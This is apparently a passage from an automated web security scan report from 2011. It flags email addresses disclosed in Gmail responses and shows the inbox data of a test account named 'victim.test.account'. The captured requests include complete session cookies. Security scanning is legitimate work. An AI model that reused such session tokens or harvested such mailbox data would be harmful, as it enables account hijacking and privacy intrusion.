,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eData Loss Prevention Toolkit: Safeguarding Sensitive Data\u003c/b\u003e","If your email pr
...[SNIP]...
1293975038445586,,[]
,,0,["Groupon"]
,,[]
]
,["12d43a867b1bdb0d","12d43a867b1bdb0d","12d43a867b1bdb0d",1,0,["^all","^i","^o","^smartlabel_notification"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"clubnintendo.noreply@noa.nintendo.com\"\u003eClub Nintendo\u003c/span\u003e","\u0026raquo;\u0026nbsp;","Club Nintendo Child's Registration Request","Hello, Your email was provided to us by a child who has identified you as his or her pare
...[SNIP]...
","12d432ea130aaa55","12d432ea130aaa55",0,0,["^all","^i","^smartlabel_notification"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_notification"]
,"\u003cspan class\u003d\"zF\" email\u003d\"info@netflix.com\"\u003eNetflix\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eStart your Netflix free trial today!\u003c/b\u003e","Finish signing up for your FREE trial and insta
...[SNIP]...
f84b1","12d3c1bdd50f84b1",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWeekly Recap | 19 Complimentary Reports\u003c/b\u003e","If your email program has trouble
...[SNIP]...
"12d39fe441848c77",0,0,["^all","^i","^io_hi","^o","^smartlabel_personal"]
,["^all","^cob-processed-gmr","^i","^ia","^io_hi","^io_ns","^smartlabel_personal"]
,"\u003cspan class\u003d\"zF\" email\u003d\"test@test.cloudscan.us\"\u003etest\u003c/span\u003e (13)","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003etest\u003c/b\u003e","test",0,"","","\u003cb\u003e12/30/10\u003c/b\u003e","Thu, Dec 30, 2010 at 7:1
...[SNIP]...
2d38c4899853798","12d38c4899853798",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eThe CIO's View of Enterprise Key Management\u003c/b\u003e","If your email program has trou
...[SNIP]...
83ccb","12d327010dd83ccb",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eEndpoint Visibility and Control: Better Map Risks and Controls\u003c/b\u003e","If your ema
...[SNIP]...
",1293628748802939,,[]
,,0,["Groupon"]
,,[]
]
,["12d2fe63f83c6dcc","12d2fe63f83c6dcc","12d2fe63f83c6dcc",1,0,["^all","^i","^o","^smartlabel_newsletter"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"tagged@taggedmail.com\"\u003eTagged\u003c/span\u003e","\u0026raquo;\u0026nbsp;","Confirmation code: jwfcao","Confirmation code: jwfcao Please enter this code on the \u0026quot;Confirm your account\u0026quot; page or \u0026
...[SNIP]...
10e2a","12d2e77d54f10e2a","12d2e77d54f10e2a",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eData Loss Prevention: The Vendor Landscape\u003c/b\u003e","If your email program has troub
...[SNIP]...
2d2db9e2374ba64","12d2db9e2374ba64",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWireless in Network Integration: Boost Throughput\u003c/b\u003e","If your email program ha
...[SNIP]...
6b9bb1da5","12d1f3a6b9bb1da5","12d1f3a6b9bb1da5",0,0,["^all","^i","^smartlabel_notification"]
,["^all","^cob-processed-gmr","^i","^smartlabel_notification"]
,"\u003cspan class\u003d\"zF\" email\u003d\"info@netflix.com\"\u003eNetflix\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWe're still saving your free trial!\u003c/b\u003e","You\u0026#39;re just a few minutes away from get
...[SNIP]...
]
]
,["12d14e51cea36bdb","12d14e51cea36bdb","12d14e51cea36bdb",0,0,["^all","^i","^smartlabel_promo"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo"]
,"\u003cspan class\u003d\"zF\" email\u003d\"info@netflix.com\"\u003eNetflix\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eYour Netflix FREE trial is ready! Unlimited TV episodes \u0026amp; movies\u003c/b\u003e","Finish sig
...[SNIP]...
bd1fe","12d13f99561bd1fe","12d13f99561bd1fe",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eThe CIO's View of Security and Cloud Computing: Assuring the Confidentiality, Integrity...
...[SNIP]...
"12d10e03335251ce","12d10e03335251ce","12d10e03335251ce",0,0,["^all","^i","^smartlabel_personal"]
,["^all","^cob-processed-gmr","^i","^smartlabel_personal"]
,"\u003cspan class\u003d\"zF\" email\u003d\"marc@surfline.com\"\u003eMarc Beaty\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eSurfline Video Submission\u003c/b\u003e","Thank you for submitting your video to Surfline. We wil
...[SNIP]...
e8f3c5fb1512","12d0e8f3c5fb1512",0,0,["^all","^i","^io_hi","^smartlabel_personal"]
,["^all","^cob-processed-gmr","^i","^ia","^io_hi","^smartlabel_personal"]
,"\u003cspan class\u003d\"zF\" email\u003d\"cnbcmembershipservices@cnbc.com\"\u003ecnbcmembershipservices\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eCNBC Profile Update Confirmation\u003c/b\u003e","T As a matter of courtesy, we would
...[SNIP]...
d0e63d3c9996ca","12d0e63d3c9996ca",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eEndpoint Visibility and Control: Maintain Consistent Policies\u003c/b\u003e","If your emai
...[SNIP]...
e22e9","12d0a6beebee22e9","12d0a6beebee22e9",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eSafeguard Data \u0026amp; Reduce the Total Cost of Data Protection\u003c/b\u003e","If your
...[SNIP]...
d09451fa4fef64","12d09451fa4fef64",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWireless in Network Integration: Boost Throughput\u003c/b\u003e","If your email program ha
...[SNIP]...
21900","12d04f212e521900",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eMission Critical Applications: Gain Maximum Uptime\u003c/b\u003e","If your email program h
...[SNIP]...
e5a25","12cf4d9d34ce5a25",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Cindy.Jutras@aberdeenreport.com\"\u003eCindy Jutras\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eJoin the Aberdeen Business Review\u003c/b\u003e","Hello %00, As an active member of our communi
...[SNIP]...
34d30","12cf40954cd34d30",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWeekly Recap: 33 Complimentary Reports\u003c/b\u003e","If your email program has trouble d
...[SNIP]...
89ba4","12cf0acc11789ba4","12cf0acc11789ba4",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eThe CIO's View of Content Monitoring and Filtering\u003c/b\u003e","If your email program h
...[SNIP]...
2ceacb52b33cfd0","12ceacb52b33cfd0",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eYour Research Advisor\u003c/b\u003e","If your email program has trouble displaying this me
...[SNIP]...
984122,,[]
,,0,["Aberdeen Research"]
,,[]
]
,["12cea31cf3df9e9f","12cea31cf3df9e9f","12cea31cf3df9e9f",1,0,["^all","^i","^o","^smartlabel_notification"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"no-reply@huffingtonpost.com\"\u003eThe Huffington Post\u003c/span\u003e","\u0026raquo;\u0026nbsp;","Thank you for creating an account","The Huffington Post Thanks for taking part in the Huffington Post Community! Your account ha
...[SNIP]...
57c56","12ce65ec72d57c56","12ce65ec72d57c56",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003e7 Symptoms to Self-Diagnose Your Data Protection Initiative\u003c/b\u003e","If your email
...[SNIP]...
"12ce0b571df98252",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eREMINDER: Webinar - Effective Operational Cash Management\u003c/b\u003e","Effective Operat
...[SNIP]...
0177439035,,[]
,,0,["Aberdeen Research"]
,,[]
]
,["12ce07a9e46559fa","12ce07a9e46559fa","12ce07a9e46559fa",1,0,["^all","^i","^o","^smartlabel_personal"]
,[]
,"\u003cspan class\u003d\"yP\" email\u003d\"cnbcmembershipservices@cnbc.com\"\u003ecnbcmembershipservices\u003c/span\u003e","\u0026raquo;\u0026nbsp;","CNBC Registration Confirmation","Welcome T, Your email address has been submitted for registration at CNBC.com and you\u0026#
...[SNIP]...
12ce07900ec5d2e5",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eMobile Strategy: the Essential Role of Wireless LAN\u003c/b\u003e","Hello %00, I am the Se
...[SNIP]...
d57b80c",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWeekly Recap | 19 New Reports\u003c/b\u003e","If your email program has trouble displaying
...[SNIP]...
6a945c6","12ccc9f176a945c6",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eTechnology Toolkit: Benefits of Image-Based Recovery\u003c/b\u003e","If your email program
...[SNIP]...
12cc6eef95fa4ecb",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed","^cob-processed-gmr","^i","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Dick.Csaplar@aberdeenreport.com\"\u003eDick Csaplar\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eON-DEMAND: Achieve 100% Uptime for Virtualized Applications\u003c/b\u003e","Hello %00, As Aberd
...[SNIP]...
2cc1ff92de373cd","12cc1ff92de373cd",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eReduce Your Data Loss and Data Exposure\u003c/b\u003e","If your email program has trouble
...[SNIP]...
7bf3b","12cc0eeef537bf3b","12cc0eeef537bf3b",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWireless in Network Integration: Improve WLAN Performance\u003c/b\u003e","If your email pr
...[SNIP]...
6dcc4","12cbbc83e066dcc4",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eEndpoint Visibility and Control: Assign Clear Ownership\u003c/b\u003e","If your email prog
...[SNIP]...
8d888","12cbbaa987f8d888",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Michael.Lock@aberdeenreport.com\"\u003eMichael Lock\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWebinar - Business Analytics for Midsize Businesses\u003c/b\u003e","Hello %00, As a Senior Rese
...[SNIP]...
5332386f4","12cb34f5332386f4","12cb34f5332386f4",0,0,["^all","^i","^smartlabel_notification"]
,["^all","^cob-processed-gmr","^i","^smartlabel_notification"]
,"\u003cspan class\u003d\"zF\" email\u003d\"sales@invisionpower.com\"\u003esales\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eDemo Account Expired\u003c/b\u003e","Thank you for your interest in IP.Board! Your private IP.Board de
...[SNIP]...
2cacc1151c19ec3","12cacc1151c19ec3",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^io_ns","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWEBINAR - SaaS ERP: Trends \u0026amp; Observations\u003c/b\u003e","Leveraging Role-Based B
...[SNIP]...
cabeb785d11450","12cabeb785d11450",0,0,["^all","^i","^smartlabel_newsletter","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_newsletter","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eWeekly Recap | 18 New Reports\u003c/b\u003e","If your email program has trouble displaying
...[SNIP]...
88571","12ca8946ef188571","12ca8946ef188571",0,0,["^all","^i","^smartlabel_promo","^unsub"]
,["^all","^cob-processed-gmr","^i","^smartlabel_promo","^unsub"]
,"\u003cspan class\u003d\"zF\" email\u003d\"Aberdeen.Research@aberdeenreport.com\"\u003eAberdeen Research\u003c/span\u003e","\u003cb\u003e\u0026raquo;\u003c/b\u003e\u0026nbsp;","\u003cb\u003eThe CIO's View of Security and Cloud Computing\u003c/b\u003e","If your email program has t
...[SNIP]...
4.6. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email address was disclosed in the response:

Request

GET /a/%domain.name%/?ui=2&view=jsm&name=sy118%2Csy107%2Csy119%2Csy114%2Csy122%2Csy125%2Csy124%2Ccc%2Csy128%2Csy168%2Csy330%2Csy348%2Csy362%2Csy360%2Ccw%2Cmo%2Csy105%2Cch&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; GMAIL_STAT_24=/S:v=2&a=i&ev=tl&t=2898&e=m%3D0%2Cr%3D21%2Cj%3D916%2Cjl%3D1394%2Cs%3D2520%2Ci%3D2659&r=1&rn=26&mn=tnt%3A70&mg=tsr%3An&ai=mail%3Ai.24.0.2; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: public, max-age=1728000
Expires: Fri, 28 Jan 2011 00:30:32 GMT
Date: Sat, 08 Jan 2011 00:30:32 GMT
ETag: "1oof5aqyibaj8"
Last-Modified: Fri, 05 Sep 2003 02:11:15 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 370206

try{var l6b="+1",m6b="uf",n6b="inactive",o6b="You have blocked ",p6b="Unblock ",q6b=" at ",r6b="embed",s6b="comment",t6b=' <span class="',u6b="jf",v6b="mci",w6b="Block ",x6b="o3";
function y6b(){var
...[SNIP]...
Z(a);wec(this,c[0],c[1])}return i};var Ric="Change Wmode";sL.prototype.ya=function $oca(a){tL(this,Ric,new Date,a.target.id);Y5b=a.target.id};sL.prototype.Ca=function $pca(){d9b(this.Ac,this.Ac.Jg.im,"chat.crash@google.com")};var Sic="Unable to start recording (check logs)";
sL.prototype.wa=function $qca(){if(vdc(this)){var a;a=this.T;var c=this.Ac.C();if(a.B)a=l;else if(Ybc(a,c)){var d=x;d+=il;d+=rl;var e=x;e+=bj;e+=Zy
...[SNIP]...
4.7. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The following email addresses were disclosed in the response:

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=mail%3Ai.24.0.1&view=cv&th=12d6307c28715b59&th=12d6136ecca93776&th=12d609a7bf25e970&th=12d602a4df0cd5db&th=12d5cd1402cb670c&prf=1&_reqid=166657&nsc=1&mb=0&rt=j&search=inbox HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; GMAIL_IMP=v*2%2Fjsnc%2Fed-ex%2Fbf-i%2Fd*0*0%2Fl-nv!%5Ei; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294071746:S=9So_1fzaVrYTmRlB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:30 GMT
Set-Cookie: GMAIL_IMP=EXPIRED; Expires=Fri, 07-Jan-2011 00:30:30 GMT; Path=/a/%domain.name%
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 119287

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",333]
,["ub",[["^cob-processed-gmr",1294446612937]
,["^i",1294446612937]
,["^f",1294446625314]
,["Misc",1294446625314]
,["^k",12944466
...[SNIP]...
7663136,"12d6136ecca93776",["12d6136ecca93776"]
,[]
,[]
,[["12d6136ecca93776",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d6136ecca93776","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1294416141000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Mission Critical Applications: Gain Maximum Uptime",["12d6136ecca93776",["victim.test.account"]
,[]
,[]
,["Aberdeen Research \u003creply-fe5c1574726703797d15-861021_HTML-893590420-65506-0@aberdeenreport.com\u003e"]
,"Mission Critical Applications: Gain Maximum Uptime","\u003cimg width\u003d\"1
...[SNIP]...
s\u003dfe271c7976610d7d711670\u0026amp;jb\u003dffcf14\u0026amp;t\u003d\" alt\u003d\"Aberdeen Group\" target\u003d\"_blank\"\u003e\n\u003c/map\u003e\u003c/div\u003e\n\n\n",[[]
,[0]
,""]
,0,[[]
,[["me","victim.test.account"]
]
,[]
]
,"Fri, Jan 7, 2011 at 10:02 AM",[]
,0,1,1,0,1,"bounce.aberdeenreport.com","aberdeenreport.com","","\u003ca124f96e-7a83-45a5-88a6-181e012672df@xtinmta115.xt.local\u003e","Mission Critical App
...[SNIP]...
2859149,"12d602a4df0cd5db",["12d602a4df0cd5db"]
,[]
,[]
,[["12d602a4df0cd5db",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d602a4df0cd5db","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1294398533000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Weekly Recap | 22 New Reports",["12d602a4df0cd5db",["victim.test.account"]
,[]
,[]
,["Aberdeen Research \u003creply-fe6215747267007e7214-861696_HTML-893590420-65506-0@aberdeenreport.com\u003e"]
,"Weekly Recap | 22 New Reports","\u003cimg width\u003d\"1\" height\u003d\"1\"
...[SNIP]...
ston, MA, 02210, USA\u003c/font\u003e\u003cbr\u003e\n \u003c/p\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/table\u003e\n\n\u003c/div\u003e\n\n\n",[[]
,[0]
,""]
,0,[[]
,[["me","victim.test.account"]
]
,[]
]
,"Fri, Jan 7, 2011 at 5:08 AM",[]
,0,1,1,0,1,"bounce.aberdeenreport.com","aberdeenreport.com","","\u003c02edc5d4-343c-4d28-9c3a-80d74cb282e4@xtinmta115.xt.local\u003e","Weekly Recap | 22 Ne
...[SNIP]...
,1,,,1294446611712100,"12d6307c28715b59",["12d6307c28715b59"]
,[]
,[]
,[["12d6307c28715b59",["^all","^i","^smartlabel_notification","^u"]
]
]
,,[]
,[]
,[]
]
,["ms","12d6307c28715b59","",4,"Fox Sports \u003cno-reply@foxsports.com\u003e","Fox Sports","no-reply@foxsports.com",1294441047000,"Dear FOXSports.com Member, Welcome to the FOXSports.com community. Please ver...",["^all","^i","^smartlabel_notification","^u"]
,0,1,"FOXSports.com Account Verification",["12d6307c28715b59",["victim.test.account"]
,[]
,[]
,["donotreply@mail2.foxsports.com"]
